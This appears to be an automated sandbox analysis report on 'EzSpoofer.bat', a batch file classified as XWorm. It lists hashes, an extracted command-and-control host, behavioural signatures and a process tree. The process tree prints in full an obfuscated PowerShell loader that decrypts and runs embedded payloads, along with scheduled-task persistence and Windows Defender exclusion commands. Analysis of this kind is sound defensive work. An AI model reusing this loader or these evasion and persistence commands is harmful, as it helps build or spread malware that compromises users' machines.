Analysis
-
max time kernel
149s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
23-01-2025 18:27
Static task
static1
Behavioral task
behavioral1
Sample
EzSpoofer.bat
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
EzSpoofer.bat
Resource
win10v2004-20241007-en
General
-
Target
EzSpoofer.bat
-
Size
290KB
-
MD5
cac585a686a51452504600d4fcf1f7b3
-
SHA1
cff487749ee57d6a6228622776392fa80d85041e
-
SHA256
876279d2efe790bf2e60a1d6bae02b08228a485d208151a5b1278e2fd11e2369
-
SHA512
0364f3e26c03ad92ac447aa446304dd7da7a46916ae62e70380529177416964b543da4df08e0e46221f57196513a062cc46eb80d02f2c52ea2c0cd7989e1aea9
-
SSDEEP
6144:ikknMyCyb4UpNDYSBObHBnWxp/3f8ZWftYQcuKPprtHnnWd:iOib449YFFnYf9xcbrNnq
Malware Config
Extracted
xworm
IDKTOBEHONESTNIGAS-56344.portmap.io:56344
-
Install_directory
%ProgramData%
Signatures
-
Detect Xworm Payload 1 IoCs
resource yara_rule behavioral2/memory/1700-49-0x0000021B511A0000-0x0000021B511B6000-memory.dmp family_xworm -
Xworm family
-
Blocklisted process makes network request 64 IoCs
flow pid Process 17 1700 powershell.exe 25 1700 powershell.exe 26 1700 powershell.exe 29 1700 powershell.exe 30 1700 powershell.exe 31 1700 powershell.exe 33 1700 powershell.exe 34 1700 powershell.exe 35 1700 powershell.exe 36 1700 powershell.exe 37 1700 powershell.exe 38 1700 powershell.exe 50 1700 powershell.exe 51 1700 powershell.exe 54 1700 powershell.exe 55 1700 powershell.exe 56 1700 powershell.exe 57 1700 powershell.exe 58 1700 powershell.exe 59 1700 powershell.exe 60 1700 powershell.exe 61 1700 powershell.exe 62 1700 powershell.exe 63 1700 powershell.exe 64 1700 powershell.exe 65 1700 powershell.exe 66 1700 powershell.exe 67 1700 powershell.exe 68 1700 powershell.exe 69 1700 powershell.exe 70 1700 powershell.exe 71 1700 powershell.exe 72 1700 powershell.exe 73 1700 powershell.exe 74 1700 powershell.exe 77 1700 powershell.exe 79 1700 powershell.exe 80 1700 powershell.exe 81 1700 powershell.exe 82 1700 powershell.exe 83 1700 powershell.exe 84 1700 powershell.exe 85 1700 powershell.exe 86 1700 powershell.exe 87 1700 powershell.exe 88 1700 powershell.exe 89 1700 powershell.exe 90 1700 powershell.exe 91 1700 powershell.exe 92 1700 powershell.exe 93 1700 powershell.exe 94 1700 powershell.exe 95 1700 powershell.exe 96 1700 powershell.exe 97 1700 powershell.exe 98 1700 powershell.exe 99 1700 powershell.exe 102 1700 powershell.exe 104 1700 powershell.exe 107 1700 powershell.exe 108 1700 powershell.exe 109 1700 powershell.exe 110 1700 powershell.exe 111 1700 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs
Run Powershell and hide display window.
pid Process 2288 powershell.exe 408 powershell.exe 1700 powershell.exe 3316 powershell.exe 2256 powershell.exe 1368 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation WScript.exe -
Drops startup file 2 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\powershell.lnk powershell.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\powershell.lnk powershell.exe -
Executes dropped EXE 1 IoCs
pid Process 3048 powershell.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\powershell = "C:\\ProgramData\\powershell.exe" powershell.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 16 ip-api.com -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings powershell.exe -
Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2280 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 14 IoCs
pid Process 2288 powershell.exe 2288 powershell.exe 408 powershell.exe 408 powershell.exe 1700 powershell.exe 1700 powershell.exe 2256 powershell.exe 2256 powershell.exe 1368 powershell.exe 1368 powershell.exe 3316 powershell.exe 3316 powershell.exe 3048 powershell.exe 3048 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 2288 powershell.exe Token: SeDebugPrivilege 408 powershell.exe Token: SeIncreaseQuotaPrivilege 408 powershell.exe Token: SeSecurityPrivilege 408 powershell.exe Token: SeTakeOwnershipPrivilege 408 powershell.exe Token: SeLoadDriverPrivilege 408 powershell.exe Token: SeSystemProfilePrivilege 408 powershell.exe Token: SeSystemtimePrivilege 408 powershell.exe Token: SeProfSingleProcessPrivilege 408 powershell.exe Token: SeIncBasePriorityPrivilege 408 powershell.exe Token: SeCreatePagefilePrivilege 408 powershell.exe Token: SeBackupPrivilege 408 powershell.exe Token: SeRestorePrivilege 408 powershell.exe Token: SeShutdownPrivilege 408 powershell.exe Token: SeDebugPrivilege 408 powershell.exe Token: SeSystemEnvironmentPrivilege 408 powershell.exe Token: SeRemoteShutdownPrivilege 408 powershell.exe Token: SeUndockPrivilege 408 powershell.exe Token: SeManageVolumePrivilege 408 powershell.exe Token: 33 408 powershell.exe Token: 34 408 powershell.exe Token: 35 408 powershell.exe Token: 36 408 powershell.exe Token: SeIncreaseQuotaPrivilege 408 powershell.exe Token: SeSecurityPrivilege 408 powershell.exe Token: SeTakeOwnershipPrivilege 408 powershell.exe Token: SeLoadDriverPrivilege 408 powershell.exe Token: SeSystemProfilePrivilege 408 powershell.exe Token: SeSystemtimePrivilege 408 powershell.exe Token: SeProfSingleProcessPrivilege 408 powershell.exe Token: SeIncBasePriorityPrivilege 408 powershell.exe Token: SeCreatePagefilePrivilege 408 powershell.exe Token: SeBackupPrivilege 408 powershell.exe Token: SeRestorePrivilege 408 powershell.exe Token: SeShutdownPrivilege 408 powershell.exe Token: SeDebugPrivilege 408 powershell.exe Token: SeSystemEnvironmentPrivilege 408 powershell.exe Token: SeRemoteShutdownPrivilege 408 powershell.exe Token: SeUndockPrivilege 408 powershell.exe Token: SeManageVolumePrivilege 408 powershell.exe Token: 33 408 powershell.exe Token: 34 408 powershell.exe Token: 35 408 powershell.exe Token: 36 408 powershell.exe Token: SeIncreaseQuotaPrivilege 408 powershell.exe Token: SeSecurityPrivilege 408 powershell.exe Token: SeTakeOwnershipPrivilege 408 powershell.exe Token: SeLoadDriverPrivilege 408 powershell.exe Token: SeSystemProfilePrivilege 408 powershell.exe Token: SeSystemtimePrivilege 408 powershell.exe Token: SeProfSingleProcessPrivilege 408 powershell.exe Token: SeIncBasePriorityPrivilege 408 powershell.exe Token: SeCreatePagefilePrivilege 408 powershell.exe Token: SeBackupPrivilege 408 powershell.exe Token: SeRestorePrivilege 408 powershell.exe Token: SeShutdownPrivilege 408 powershell.exe Token: SeDebugPrivilege 408 powershell.exe Token: SeSystemEnvironmentPrivilege 408 powershell.exe Token: SeRemoteShutdownPrivilege 408 powershell.exe Token: SeUndockPrivilege 408 powershell.exe Token: SeManageVolumePrivilege 408 powershell.exe Token: 33 408 powershell.exe Token: 34 408 powershell.exe Token: 35 408 powershell.exe -
Suspicious use of WriteProcessMemory 18 IoCs
description pid Process procid_target PID 4392 wrote to memory of 2288 4392 cmd.exe 84 PID 4392 wrote to memory of 2288 4392 cmd.exe 84 PID 2288 wrote to memory of 408 2288 powershell.exe 85 PID 2288 wrote to memory of 408 2288 powershell.exe 85 PID 2288 wrote to memory of 468 2288 powershell.exe 88 PID 2288 wrote to memory of 468 2288 powershell.exe 88 PID 468 wrote to memory of 2692 468 WScript.exe 89 PID 468 wrote to memory of 2692 468 WScript.exe 89 PID 2692 wrote to memory of 1700 2692 cmd.exe 92 PID 2692 wrote to memory of 1700 2692 cmd.exe 92 PID 1700 wrote to memory of 2256 1700 powershell.exe 97 PID 1700 wrote to memory of 2256 1700 powershell.exe 97 PID 1700 wrote to memory of 1368 1700 powershell.exe 101 PID 1700 wrote to memory of 1368 1700 powershell.exe 101 PID 1700 wrote to memory of 3316 1700 powershell.exe 103 PID 1700 wrote to memory of 3316 1700 powershell.exe 103 PID 1700 wrote to memory of 2280 1700 powershell.exe 105 PID 1700 wrote to memory of 2280 1700 powershell.exe 105 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\EzSpoofer.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:4392 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('LzMyn9z48x0Q4gbuWdOuMvyklX2ZjqkWkuihkCRVIvQ='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('pe5tId8jJVo1uZ0oyFBZYg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $YAedb=New-Object System.IO.MemoryStream(,$param_var); $lZKKA=New-Object System.IO.MemoryStream; $QbfIR=New-Object System.IO.Compression.GZipStream($YAedb, [IO.Compression.CompressionMode]::Decompress); $QbfIR.CopyTo($lZKKA); $QbfIR.Dispose(); $YAedb.Dispose(); $lZKKA.Dispose(); $lZKKA.ToArray();}function execute_function($param_var,$param2_var){ $YrspZ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $otogi=$YrspZ.EntryPoint; $otogi.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\EzSpoofer.bat';$EprqD=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\EzSpoofer.bat').Split([Environment]::NewLine);foreach ($hFcVg in $EprqD) { if ($hFcVg.StartsWith(':: ')) { $ccxXr=$hFcVg.Substring(3); break; }}$payloads_var=[string[]]$ccxXr.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));2⤵
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2288 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_708_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_708.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:408
-
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_708.vbs"3⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:468 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_708.bat" "4⤵
- Suspicious use of WriteProcessMemory
PID:2692 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('LzMyn9z48x0Q4gbuWdOuMvyklX2ZjqkWkuihkCRVIvQ='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('pe5tId8jJVo1uZ0oyFBZYg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $YAedb=New-Object System.IO.MemoryStream(,$param_var); $lZKKA=New-Object System.IO.MemoryStream; $QbfIR=New-Object System.IO.Compression.GZipStream($YAedb, [IO.Compression.CompressionMode]::Decompress); $QbfIR.CopyTo($lZKKA); $QbfIR.Dispose(); $YAedb.Dispose(); $lZKKA.Dispose(); $lZKKA.ToArray();}function execute_function($param_var,$param2_var){ $YrspZ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $otogi=$YrspZ.EntryPoint; $otogi.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_708.bat';$EprqD=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_708.bat').Split([Environment]::NewLine);foreach ($hFcVg in $EprqD) { if ($hFcVg.StartsWith(':: ')) { $ccxXr=$hFcVg.Substring(3); break; }}$payloads_var=[string[]]$ccxXr.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));5⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Drops startup file
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1700 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'6⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:2256
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'6⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:1368
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\powershell.exe'6⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:3316
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "powershell" /tr "C:\ProgramData\powershell.exe"6⤵
- Scheduled Task/Job: Scheduled Task
PID:2280
-
-
-
-
-
-
C:\ProgramData\powershell.exeC:\ProgramData\powershell.exe1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:3048
Network
MITRE ATT&CK Enterprise v15
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
442KB
MD504029e121a0cfa5991749937dd22a1d9
SHA1f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA2569f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
SHA5126a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b
-
Filesize
3KB
MD5661739d384d9dfd807a089721202900b
SHA15b2c5d6a7122b4ce849dc98e79a7713038feac55
SHA25670c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf
SHA51281b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8
-
Filesize
1KB
MD5f8d49a4af7a844bfc7247d5670def557
SHA126ae0ce194a77a7a1887cf93741293fdfa6c94c4
SHA25661c60aa2e781a7f6ab54577db26d1be6ca3bf40c4c1d29eca48698e8cb5e1a2b
SHA5129e034173b20c85fc63ec88d045ace936af567e52caafe5e5735cf6fd5e72d040b992b38c0490ee9d9e43f6f934695d5913bc7a0c682b36c99e5e2d9923c24a9c
-
Filesize
944B
MD577d622bb1a5b250869a3238b9bc1402b
SHA1d47f4003c2554b9dfc4c16f22460b331886b191b
SHA256f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb
SHA512d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9
-
Filesize
944B
MD5d8cb3e9459807e35f02130fad3f9860d
SHA15af7f32cb8a30e850892b15e9164030a041f4bd6
SHA2562b139c74072ccbdaa17b950f32a6dbc934dfb7af9973d97c9b0d9c498012ba68
SHA512045239ba31367fbdd59e883f74eafc05724e23bd6e8f0c1e7171ea2496a497eb9e0cfcb57285bb81c4d569daadba43d6ef64c626ca48f1e2a59e8d97f0cc9184
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
290KB
MD5cac585a686a51452504600d4fcf1f7b3
SHA1cff487749ee57d6a6228622776392fa80d85041e
SHA256876279d2efe790bf2e60a1d6bae02b08228a485d208151a5b1278e2fd11e2369
SHA5120364f3e26c03ad92ac447aa446304dd7da7a46916ae62e70380529177416964b543da4df08e0e46221f57196513a062cc46eb80d02f2c52ea2c0cd7989e1aea9
-
Filesize
115B
MD5039d39ef076f07184f1367f6ff09d25f
SHA1361f66dfe093398161b5cacd536292da9b3c888a
SHA256b851fc47473b249e0a5dcf106dad490a648b17fcd7f41639e306afbe7860ba42
SHA512c202041a6072322a31b4e346c392fa0ed548326652447639645ab8410434a36623f388f038bc405d5b55263fe1a76bbdf7ca829909359351194567ccda4b9e21